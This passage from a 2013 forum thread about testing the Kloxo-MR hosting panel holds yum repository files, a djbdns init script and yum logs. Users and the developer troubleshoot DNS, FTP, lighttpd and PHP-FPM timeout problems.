baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/neutral/$basearch/
enabled=1
gpgcheck=0

[kloxo-mr-release-version-noarch]
name=Kloxo-MR - release-version-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos$releasever/noar                                                           ch/
enabled=1
gpgcheck=0
exclude=*-toaster djbdns

[kloxo-mr-release-version-arch]
name=Kloxo-MR - release-version-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos$releasever/$bas                                                           earch/
enabled=1
gpgcheck=0
exclude=*-toaster djbdns

[kloxo-mr-testing-neutral-noarch]
name=Kloxo-MR - testing-neutral-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/neutral/noarch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-neutral-arch]
name=Kloxo-MR - testing-neutral-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/neutral/$basearch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-version-noarch]
name=Kloxo-MR - testing-version-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/centos$releasever/noar                                                           ch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-version-arch]
name=Kloxo-MR - testing-version-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/centos$releasever/$bas                                                           earch/
enabled=0
gpgcheck=0

[kloxo-mr-srpms]
name=Kloxo-MR - srpms
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/SRPMS/
enabled=0
gpgcheck=0

# ==================================

[kloxo-mr-lxcenter]
name=Kloxo-MR - lxcenter - $basearch
baseurl=http://download.lxcenter.org/download/update/centos-$releasever/$basearch/
enabled=1
gpgcheck=0
includepkgs=vpopmail qmail spamassasin *-toaster djbdns

# ==================================

[kloxo-mr-centalt]
name=Kloxo-MR - centalt - $basearch
baseurl=http://centos.alt.ru/repository/centos/$releasever/$basearch/
enabled=1
gpgcheck=0
exclude=openssh*

# ==================================

[kloxo-mr-ius]
name=Kloxo-MR - IUS Community Packages for Enterprise Linux $releasever - $basearch
baseurl=http://dl.iuscommunity.org/pub/ius/stable/Redhat/$releasever/$basearch
mirrorlist=http://dmirr.iuscommunity.org/mirrorlist/?repo=ius-el$releasever&arch=$basear                                                           ch
enabled=1
gpgcheck=0

# ==================================

[kloxo-mr-epel]
name=Kloxo-MR - Extra Packages for Enterprise Linux $releasever - $basearch
baseurl=http://download.fedoraproject.org/pub/epel/$releasever/$basearch
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=epel-$releasever&arch=$basea                                                           rch
enabled=1
gpgcheck=0

# ==================================

# for varnish
[kloxo-mr-varnish-3.0]
name=Kloxo-MR - Varnish 3.0 for Enterprise Linux $releasever - $basearch
baseurl=http://repo.varnish-cache.org/redhat/varnish-3.0/el$releasever/$basearch
enabled=1
gpgcheck=0

# ==================================

# for hiawatha
[kloxo-mr-centosec]
name=Kloxo-MR - CentOS $releasever Packages from CentOS.EC
baseurl=http://centos$releasever.ecualinux.com/$basearch
enabled=1
gpgcheck=0

# ==================================

# for nginx-stable
[kloxo-mr-nginx]
name=Kloxo-MR - nginx repo
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/
gpgcheck=0
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 19:37:27
you are using old kloxo-mr.repo.

Modified with:
Code: [Select]
...
[kloxo-mr-release-version-arch]
name=Kloxo-MR - release-version-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos$releasever/$bas earch/
enabled=1
gpgcheck=0
#exclude=*-toaster djbdns
...
[kloxo-mr-lxcenter]
name=Kloxo-MR - lxcenter - $basearch
baseurl=http://download.lxcenter.org/download/update/centos-$releasever/$basearch/
enabled=0
gpgcheck=0
includepkgs=vpopmail qmail spamassasin *-toaster djbdns
...
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 19:40:35
Or just enough copy /usr/local/lxlabs/kloxo/file/kloxo-mr_mratwork.repo to /etc/yum.repos.d/kloxo-mr.repo.

Look like your qmail still using lxcenter edition.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 19:43:35
Quote from: "MRatWork"
Or just enough copy /usr/local/lxlabs/kloxo/file/kloxo-mr_mratwork.repo to /etc/yum.repos.d/kloxo-mr.repo.

Look like your qmail still using lxcenter edition.

Yes, I will try updating to the latest Kloxo-MR and then try to upgrade to qmailtoaster.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 19:49:28
Not working:

Code: [Select]
[root@backup /]# yum clean all
Loaded plugins: fastestmirror, protectbase
Cleaning up Everything
Cleaning up list of fastest mirrors
[root@backup /]# yum update djbdns
Loaded plugins: fastestmirror, protectbase
Determining fastest mirrors
 * addons: mirror.steadfast.net
 * base: mirror.steadfast.net
 * extras: mirror.steadfast.net
 * kloxo-mr-epel: less.cogeco.net
 * kloxo-mr-ius: mirror.symnds.com
 * remi: remi-mirror.dedipower.com
 * remi-test: remi-mirror.dedipower.com
 * updates: mirror.steadfast.net
addons                                                                                 | 1.9 kB     00:00
addons/primary_db                                                                      | 1.1 kB     00:00
base                                                                                   | 1.1 kB     00:00
base/primary                                                                           | 1.2 MB     00:00
base                                                                                                3641/3641
extras                                                                                 | 2.1 kB     00:00
extras/primary_db                                                                      | 174 kB     00:00
kloxo-mr-centalt                                                                       |  951 B     00:00
kloxo-mr-centalt/primary                                                               |  79 kB     00:00
kloxo-mr-centalt                                                                                      275/275
kloxo-mr-centosec                                                                      | 2.3 kB     00:00
kloxo-mr-centosec/primary_db                                                           |  46 kB     00:00
kloxo-mr-epel                                                                          | 3.7 kB     00:00
kloxo-mr-epel/primary_db                                                               | 3.9 MB     00:00
kloxo-mr-ius                                                                           | 2.2 kB     00:00
kloxo-mr-ius/primary_db                                                                | 136 kB     00:00
kloxo-mr-nginx                                                                         | 1.2 kB     00:00
kloxo-mr-nginx/primary                                                                 | 4.3 kB     00:00
kloxo-mr-nginx                                                                                          35/35
kloxo-mr-release-neutral-arch                                                          | 1.9 kB     00:00
kloxo-mr-release-neutral-arch/primary_db                                               | 1.1 kB     00:00
kloxo-mr-release-neutral-noarch                                                        | 1.9 kB     00:00
kloxo-mr-release-neutral-noarch/primary_db                                             |  11 kB     00:00
kloxo-mr-release-version-arch                                                          | 1.9 kB     00:00
kloxo-mr-release-version-arch/primary_db                                               |  51 kB     00:00
kloxo-mr-release-version-noarch                                                        | 1.9 kB     00:00
kloxo-mr-release-version-noarch/primary_db                                             | 1.1 kB     00:00
kloxo-mr-varnish-3.0                                                                   |  951 B     00:00
kloxo-mr-varnish-3.0/primary                                                           |  12 kB     00:00
kloxo-mr-varnish-3.0                                                                                    44/44
remi                                                                                   | 2.5 kB     00:00
remi/primary_db                                                                        | 473 kB     00:00
remi-test                                                                              | 2.5 kB     00:00
remi-test/primary_db                                                                   | 4.9 kB     00:00
updates                                                                                | 1.9 kB     00:00
updates/primary_db                                                                     | 122 kB     00:00
Excluding Packages in global exclude list
Finished
Excluding Packages from Kloxo-MR - centalt - x86_64
Finished
0 packages excluded due to repository protections
Setting up Update Process
No Packages marked for Update
[root@backup /]# cat /etc/yum.repos.d/kloxo-mr.repo
[kloxo-mr-release-neutral-noarch]
name=Kloxo-MR - release-neutral-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/neutral/noarch/
enabled=1
gpgcheck=0

[kloxo-mr-release-neutral-arch]
name=Kloxo-MR - release-neutral-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/neutral/$basearch/
enabled=1
gpgcheck=0

[kloxo-mr-release-version-noarch]
name=Kloxo-MR - release-version-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos$releasever/noarch/
enabled=1
gpgcheck=0
#exclude=*-toaster djbdns

[kloxo-mr-release-version-arch]
name=Kloxo-MR - release-version-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/release/centos$releasever/$basearch/
enabled=1
gpgcheck=0
#exclude=*-toaster djbdns

[kloxo-mr-testing-neutral-noarch]
name=Kloxo-MR - testing-neutral-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/neutral/noarch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-neutral-arch]
name=Kloxo-MR - testing-neutral-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/neutral/$basearch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-version-noarch]
name=Kloxo-MR - testing-version-noarch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/centos$releasever/noarch/
enabled=0
gpgcheck=0

[kloxo-mr-testing-version-arch]
name=Kloxo-MR - testing-version-$basearch
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/testing/centos$releasever/$basearch/
enabled=0
gpgcheck=0

[kloxo-mr-srpms]
name=Kloxo-MR - srpms
baseurl=https://github.com/mustafaramadhan/kloxo/raw/rpms/SRPMS/
enabled=0
gpgcheck=0

# ==================================

[kloxo-mr-lxcenter]
name=Kloxo-MR - lxcenter - $basearch
baseurl=http://download.lxcenter.org/download/update/centos-$releasever/$basearch/
enabled=0
gpgcheck=0
includepkgs=vpopmail qmail spamassasin *-toaster djbdns

# ==================================

[kloxo-mr-centalt]
name=Kloxo-MR - centalt - $basearch
baseurl=http://centos.alt.ru/repository/centos/$releasever/$basearch/
enabled=1
gpgcheck=0
exclude=openssh*

# ==================================

[kloxo-mr-ius]
name=Kloxo-MR - IUS Community Packages for Enterprise Linux $releasever - $basearch
baseurl=http://dl.iuscommunity.org/pub/ius/stable/Redhat/$releasever/$basearch
mirrorlist=http://dmirr.iuscommunity.org/mirrorlist/?repo=ius-el$releasever&arch=$basearch
enabled=1
gpgcheck=0

# ==================================

[kloxo-mr-epel]
name=Kloxo-MR - Extra Packages for Enterprise Linux $releasever - $basearch
baseurl=http://download.fedoraproject.org/pub/epel/$releasever/$basearch
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=epel-$releasever&arch=$basearch
enabled=1
gpgcheck=0

# ==================================

# for varnish
[kloxo-mr-varnish-3.0]
name=Kloxo-MR - Varnish 3.0 for Enterprise Linux $releasever - $basearch
baseurl=http://repo.varnish-cache.org/redhat/varnish-3.0/el$releasever/$basearch
enabled=1
gpgcheck=0

# ==================================

# for hiawatha
[kloxo-mr-centosec]
name=Kloxo-MR - CentOS $releasever Packages from CentOS.EC
baseurl=http://centos$releasever.ecualinux.com/$basearch
enabled=1
gpgcheck=0

# ==================================

# for nginx-stable
[kloxo-mr-nginx]
name=Kloxo-MR - nginx repo
baseurl=http://nginx.org/packages/centos/$releasever/$basearch/
gpgcheck=0
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 19:52:18
Also there should be spamassassin instead of spamassasin !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 20:01:00
if you run 'convert-to-qmailtoaster' this package also convert
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 20:03:38
Quote from: "MRatWork"
if you run 'convert-to-qmailtoaster' this package also convert

Ok, but why djbdns isn't available ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 20:08:45
Quote from: "Spacedust"
Quote from: "MRatWork"
if you run 'convert-to-qmailtoaster' this package also convert

Ok, but why djbdns isn't available ?
Is after change kloxo-mr.repo content and run 'yum clean all' again?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 20:13:44
Quote from: "MRatWork"
Quote from: "Spacedust"
Quote from: "MRatWork"
if you run 'convert-to-qmailtoaster' this package also convert

Ok, but why djbdns isn't available ?
Is after change kloxo-mr.repo content and run 'yum clean all' again?

Yes.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 20:24:46
Look inside https://github.com/mustafaramadhan/kloxo/tree/rpms (https://github.com/mustafaramadhan/kloxo/tree/rpms)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 20:33:34
Quote from: "MRatWork"
Look inside https://github.com/mustafaramadhan/kloxo/tree/rpms (https://github.com/mustafaramadhan/kloxo/tree/rpms)

https://github.com/mustafaramadhan/klox ... x86_64.rpm (https://github.com/mustafaramadhan/kloxo/blob/rpms/release/centos5/x86_64/djbdns-1.05-1.0.6.mr.el5.x86_64.rpm)

This does not contain valid init.d file...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 20:42:20
Code: [Select]
[root@nowosci init.d]# /etc/init.d/djbdns restart
[root@nowosci init.d]# /etc/init.d/djbdns restart
[root@nowosci init.d]# /etc/init.d/djbdns restart
[root@nowosci init.d]# cat /etc/init.d/djbdns
#!/bin/sh
# /etc/rc.d/init.d/djbdns
#
# chkconfig: 345 40 80
# description: Start, stop, restart, reload, and otherwise signal djbdns
#
# Original script written by Vincent Danen <vdanen@mandrakesoft.com> Mar 10 2001
#
# Modified to work with QmailToaster by:
#
# Nick Hemmesch <nick@ndhsoft.com>
# http://www.qmailtoaster.com
# May 17 2006
#

PATH=/usr/local/bin:/usr/bin:/bin
export PATH

if ! [ -f /etc/sysconfig/djbdns ]; then
   exit 0
fi

# MR -- to make sure all set match - begin set
if ! [ id -u tinydns >/dev/null 2>&1 ] ; then
        useradd tinydns
fi

if ! [ id -u dnslog >/dev/null 2>&1 ] ; then
        useradd dnslog
fi

if ! [ id -u dnscache >/dev/null 2>&1 ] ; then
        useradd dnscache
fi

if ! [ id -u axfrdns >/dev/null 2>&1 ] ; then
        useradd axfrdns
fi

if ! [ -d /var/djbdns/tinydns ] ; then
        tinydns-conf tinydns dnslog /var/djbdns/tinydns 127.0.0.1
fi

if ! [ -d /var/djbdns/axfrdns ] ; then
        # original set for every ips except 127.0.0.1
        # change 0.0.0.0 that mean all ips
        axfrdns-conf axfrdns dnslog /var/djbdns/axfrdns /var/djbdns/tinydns 0.0.0.0
fi

echo '0.0.0.0' > /var/djbdns/tinydns/env/IP
# MR -- end set

case "$1" in
  start)
    # have a silent kill in case someone tries to start djbdns when
    # it is already running . . .
    $0 stop >/dev/null 2>&1
    echo -n "Starting djbdns services: svscan"
    cd /var/djbdns/service
    env - PATH="$PATH" svscan &
    echo $! > /var/run/djbdns-svscan.pid
    touch /var/lock/subsys/djbdns
    echo "."
    ;;
  stop)
    echo -n "Stopping djbdns services: svscan"
    kill `cat /var/run/djbdns-svscan.pid`
    echo -n " djbdns"
    svc -dx /var/djbdns/service/*
    echo -n " logging"
    svc -dx /var/djbdns/service/*/log
    echo "."
    rm -rf /var/run/djbdns-svscan.pid
    rm -rf /var/lock/subsys/djbdns
    ;;
  stat|status)
    cd /var/djbdns/service
    svstat * */log
    ;;
  reload|hup)
    echo "Sending HUP signal to djbdns services."
    svc -h /var/djbdns/service/*
    ;;
  pause)
    echo "Pausing djbdns services"
    svc -p /var/djbdns/service/*
    ;;
  cont)
    echo "Continuing djbdns services"
    svc -c /var/djbdns/service/*
    ;;
  restart)
    echo "Restarting djbdns services:"
    svc -d /var/djbdns/service/*
    svc -u /var/djbdns/service/*
    ;;
  help)
    cat <<HELP
   stop -- stops DNS services
  start -- starts DNS services
  pause -- temporarily stops DNS services
   cont -- continues paused DNS services
   stat -- displays status of DNS services
restart -- stops and restarts DNS services
HELP
    ;;
  *)
    echo "Usage: $0 {start|stop|restart|reload|stat|status|pause|cont|help}"
    exit 1
    ;;
esac

exit 0
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 20:44:02
Code: [Select]
[root@nowosci tinydns]# ./run
softlimit: fatal: unable to run //bin/tinydns: file does not exist

It's not copying files to correct folders !
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 21:47:38
Because this djbdns using supervise like qmail-toaster, look like need reboot also.

And delete portion:
Code: [Select]
if ! [ id -u tinydns >/dev/null 2>&1 ] ; then
        useradd tinydns
fi

if ! [ id -u dnslog >/dev/null 2>&1 ] ; then
        useradd dnslog
fi

if ! [ id -u dnscache >/dev/null 2>&1 ] ; then
        useradd dnscache
fi

if ! [ id -u axfrdns >/dev/null 2>&1 ] ; then
        useradd axfrdns
fi
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 21:56:47
Quote from: "MRatWork"
Because this djbdns using supervise like qmail-toaster, look like need reboot also.

And delete portion:
Code: [Select]
if ! [ id -u tinydns >/dev/null 2>&1 ] ; then
        useradd tinydns
fi

if ! [ id -u dnslog >/dev/null 2>&1 ] ; then
        useradd dnslog
fi

if ! [ id -u dnscache >/dev/null 2>&1 ] ; then
        useradd dnscache
fi

if ! [ id -u axfrdns >/dev/null 2>&1 ] ; then
        useradd axfrdns
fi

Removed, rebooted and non-working:

Code: [Select]
[root@nowosci /]# /etc/init.d/djbdns restart
[root@nowosci /]# /etc/init.d/djbdns restart
[root@nowosci /]# /etc/init.d/djbdns restart
[root@nowosci /]# ps aux | grep dns
root      5376  0.0  0.0  63264   828 pts/0    S+   16:59   0:00 grep dns
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-21, 22:38:29
If you found in 'services' on panel where 'grep' for djbdns as 'djbdns', access to 'service' table for kloxo database and then change 'djbdns 'on 'grepstring' to 'tinydns'.

It's my fault and will be fix when bug-free djbdns rpm ready on kloxo-mr.repo.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-21, 22:43:20
Quote from: "MRatWork"
If you found in 'services' on panel where 'grep' for djbdns as 'djbdns', access to 'service' table for kloxo database and then change 'djbdns 'on 'grepstring' to 'tinydns'.

It's my fault and will be fix when bug-free djbdns rpm ready on kloxo-mr.repo.

Ok, but DNS itself was working well with lxcenter djbdns before with Kloxo 6.5.0.c.2013020703 and now it's not working at all.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-22, 01:40:58
Quote from: "Spacedust"
Quote from: "MRatWork"
If you found in 'services' on panel where 'grep' for djbdns as 'djbdns', access to 'service' table for kloxo database and then change 'djbdns 'on 'grepstring' to 'tinydns'.

It's my fault and will be fix when bug-free djbdns rpm ready on kloxo-mr.repo.

Ok, but DNS itself was working well with lxcenter djbdns before with Kloxo 6.5.0.c.2013020703 and now it's not working at all.

Correct it's working when I run axfrdns and djbdns manually so this is only init.d script problem...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-22, 22:39:42
PHP 5.4.12 and PHP 5.3.22 released! Updating from remi repo ;)
Title: Re: Need Kloxo-MR Tester
Post by: nusapenida on 2013-02-22, 23:21:09
please help!
FTP did not work
error: Can't establish connection
6.5.0.c.2013013103/   31-Jan-2013 11:41   
centOS 6.3 final

thanks
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-22, 23:36:30
Quote from: "nusapenida"
please help!
FTP did not work
error: Can't establish connection
6.5.0.c.2013013103/   31-Jan-2013 11:41   
centOS 6.3 final

thanks
Search info in this forum. Other user have the same issue but have a solution.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-23, 01:43:32
Quote from: "MRatWork"
Quote from: "lapy"
updated to latest kloxo, now the php version dropdown list is empty in "Webserver Config"  :o
Hava you try 'sh /scirpt/cleanup' after update'?

Sorry I've been busy. Yes I've done the cleanup but same problem...
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 01:43:50
Mustafa I think we need to reduce FCGI and php-fpm idle timeout from 180 to 120. It's causing too high load when there are many users.

30 was enough
180 is too much
120 is optimal
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-23, 01:50:00
Quote from: "lapy"
Quote from: "MRatWork"
Quote from: "lapy"
updated to latest kloxo, now the php version dropdown list is empty in "Webserver Config"  :o
Hava you try 'sh /scirpt/cleanup' after update'?

Sorry I've been busy. Yes I've done the cleanup but same problem...
Try 'sh /script/fix-service-list'
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 01:52:44
Quote from: "Spacedust"
Mustafa I think we need to reduce FCGI and php-fpm idle timeout from 180 to 120. It's causing too high load when there are many users.

30 was enough
180 is too much
120 is optimal

I need to think about it. So far reduced maximum_execution_time to 120 in php.ini and request_terminate_timeout to 120s in php-fpm.
Title: Re: Need Kloxo-MR Tester
Post by: lapy on 2013-02-23, 02:05:24
Thank you, solved  ;)
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 02:33:55
Changed to 120 and it's much better. Mustafa can you change ?
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-23, 03:14:04
Quote from: "Spacedust"
Changed to 120 and it's much better. Mustafa can you change ?
Original size is 30s but using 60s is enough. Look like 180s and 120s are too high.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 03:26:29
Quote from: "MRatWork"
Quote from: "Spacedust"
Changed to 120 and it's much better. Mustafa can you change ?
Original size is 30s but using 60s is enough. Look like 180s and 120s are too high.

Some popular polish hostings use from 30 up to 180, but I think is too much. I still think my load is related to too many files. I need to investigate this longer.

Just updated my slave to latest Kloxo-MR, no issues, but I'm using djbdns from lxcenter.
Title: Re: Need Kloxo-MR Tester
Post by: MRatWork on 2013-02-23, 03:34:21
I will change to 120s. Someone need to change this value just enough using 'rule of custom file'.

Change timeout value on php-fpm must be change according value on nginx, apache.

So, look like better make a new thread for 'Timeout optimize'.
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 04:00:35
Updated my main production server to latest Kloxo-MR.

The only scary part was when I runned /script/cleanup - it removed all my Apache config files and nginxproxy files. Good I got backup !

Mustafa why do you remove this ?

I need to run cleanup to get new login page, skeletons etc.
Title: Re: Need Kloxo-MR Tester
Post by: nusapenida on 2013-02-23, 07:11:03
Quote from: "MRatWork"
Quote from: "nusapenida"
please help!
FTP did not work
error: Can't establish connection
6.5.0.c.2013013103/   31-Jan-2013 11:41   
centOS 6.3 final

thanks
Search info in this forum. Other user have the same issue but have a solution.

I am sorry sir! i have use search feature on this forum but the search ignore my search.
Ok. I just fixed my ftp issue by running
# /etc/init.d/xinetd restart
Stopping xinetd:                                           [FAILED]
Starting xinetd:                                           [  OK  ]


thanks
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 17:12:44
Mustafa how to rebuild just nginx configuration files ?
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-02-23, 18:06:33
When running /script/fixweb it removed my /etc/php-fpm.d config files when it was in the middle of the fix !
Title: Re: Need Kloxo-MR Tester
Post by: awan on 2013-03-13, 17:59:13
Yupie :)

I was tested : kloxo on cent OS 6.
( Kloxo Developer Version on Github )

for 32 Bit , works well like Centos 5 ...
Mail : Works Properly..
Domain : works Properly
Php : Works Properly..

When no add Domain or IP not assume to user : page is 403

Big Buggy and one case about lighttpd , problem of lighttpd is :

Quote
/home/lighttpd/conf/globals/generic.conf

on Kloxo Official , this File is nothin ...  but on Kloxo MR this File is making Duplicate Rule...
Try to Clear all Rule on generic.conf (erase the content inside generic conf) , and error about duplicate is vanish , but one thing ..

Code: [Select]
 
[root@cdn1 ~]# service lighttpd restart
Stopping lighttpd:                                         [FAILED]
Starting lighttpd: 2013-03-13 14:41:49: (plugin.c.169) dlopen() failed for: /usr/lib/lighttpd/mod_fastcgi.so /usr/lib/lighttpd/mod_fastcgi.so: cannot open shared object file: No such file or directory
2013-03-13 14:41:49: (server.c.676) loading plugins finally failed      [FAILED]
                                                           

but mod_fastcgi.so is exist ;;;

Code: [Select]
[root@cdn1 ~]# locate mod_fastcgi.so
/usr/lib/lighttpd/mod_fastcgi.so
/usr/local/lxlabs/ext/lxlighttpd/lib/mod_fastcgi.so
Title: Re: Need Kloxo-MR Tester
Post by: Spacedust on 2013-03-15, 01:23:35
Disk usage from quotas still does not work ... :/